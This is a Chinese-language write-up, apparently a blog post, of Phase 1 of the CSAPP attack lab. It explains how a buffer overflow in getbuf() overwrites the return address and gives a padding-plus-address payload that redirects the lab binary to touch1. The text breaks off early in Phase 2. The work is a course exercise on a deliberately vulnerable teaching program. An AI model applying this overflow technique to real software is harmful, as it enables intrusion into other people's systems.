深入理解计算机系统(CSAPP) attack-lab详解

下载实验用的程序戳这里
这里下载实验说明

开始

target1里的两个程序,ctraget和rtarget,都有缓冲区溢出的bug。实验要求我们做的,是利用这些bug,让程序通过缓冲区溢出,执行我们想执行的代码。下载的文件夹里,ctarget是做代码注入攻击 (code-injection attacks) 用的。rtarget,还有后面的cookie.txt、hex2raw、farm.c都和后面的ROP攻击(return-oriented-programming, ROP)有关。
writeup里有getbuf()的源码。我们利用的缓冲区的bug,就是在这里出现的。我们从Type string那里输进一个字符串。如果字符串是精心设计好的,正好能把栈里原本的返回地址,用你设计的地址冲掉(这个实验里是touch1、touch2、touch3的地址;如果做到后面,就是gadget的地址)(书上练习3.46),让target执行你想执行的内容,我们的目的就达到了。

Phase 1

前面的writeup看得差不多了,那我们就上手吧~
我们首先看一看getbuf()的汇编代码。

00000000004017a8 <getbuf>:
  4017a8:	48 83 ec 28          	sub    $0x28,%rsp
  4017ac:	48 89 e7             	mov    %rsp,%rdi
  4017af:	e8 8c 02 00 00       	callq  401a40 <Gets>
  4017b4:	b8 01 00 00 00       	mov    $0x1,%eax
  4017b9:	48 83 c4 28          	add    $0x28,%rsp
  4017bd:	c3                   	retq   
  4017be:	90                   	nop
  4017bf:	90                   	nop

我们知道,call 0x4017a8(就是调用getbuf())这个指令会把ret指令要返回到的地址压进栈,然后才会跳转到0x4017a8这个地址执行getbuf()的代码。而getbuf()被调用之后,执行的第一行汇编是干什么的?没错,就是将栈指针向栈顶移动40(0x28,敲黑板,十六进制!)个字节。而这40个字节里放的是什么呢?有一部分就是我们敲进去的字符串。也就是说,如果我们敲进去的字符串足够长,比这40个字节还长,它的最后几个字符,就完全可以冲掉原本的返回地址!如果这最后几个字符又恰好是touch1的地址,那么等执行到0x4017bd,也就是getbuf()里的ret指令时,ret指令会直接返回到touch1的地址!Phase1就搞定了!!!
你可以先把字节码写在一个txt里,再借助下载的hex2raw程序,把它直接转换成相应的十六进制字节码。实验说明的附录里有使用方法,这里就不再复述了~其实你也可以用各种16进制文本编辑器帮助你转换,百度一下就能找到不少_ 我这里用的是16进制的文本编辑器:

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 C0 17 40 00 00 00 00 00

前面是40个90(十六进制啦),从第三行的C0开始一直到这一行结束都是touch1的地址(小尾数表示!!!)。那四十个90把touch1的地址“垫起来”,让八字节的地址准确地覆盖掉原来存在栈中的地址。在终端里敲进"./ctarget -q < c1"(c1是放你注入的字符串的文件的名字;’<'重定向输入流), 让我们看一下实验效果:

Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:ctarget:1:
  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
	90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 
	90 90 90 90 90 90 90 90 C0 17 40 00 00 00 00 00 

恭喜恭喜!Phase 1做完啦!

Phase 2

第二个Phase就是真正的"code injection"了,要你在字符串里写一段真正的汇编,之后利用ret指令直接跳转过去……
可我还是有问题呀。
怎么了?
不是有“栈随机化”吗?每次运行程序,字符串开头的地址都不一样,怎么跳转?即使跳过去了,可执行代码的区域也是被严格限制的……放字符串的内存区域,即使放了代码,也没办法执行呀……
哇,看书看得好细致!加个鸡腿!其实,为了方便我们做实验,程序的

  • 4
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值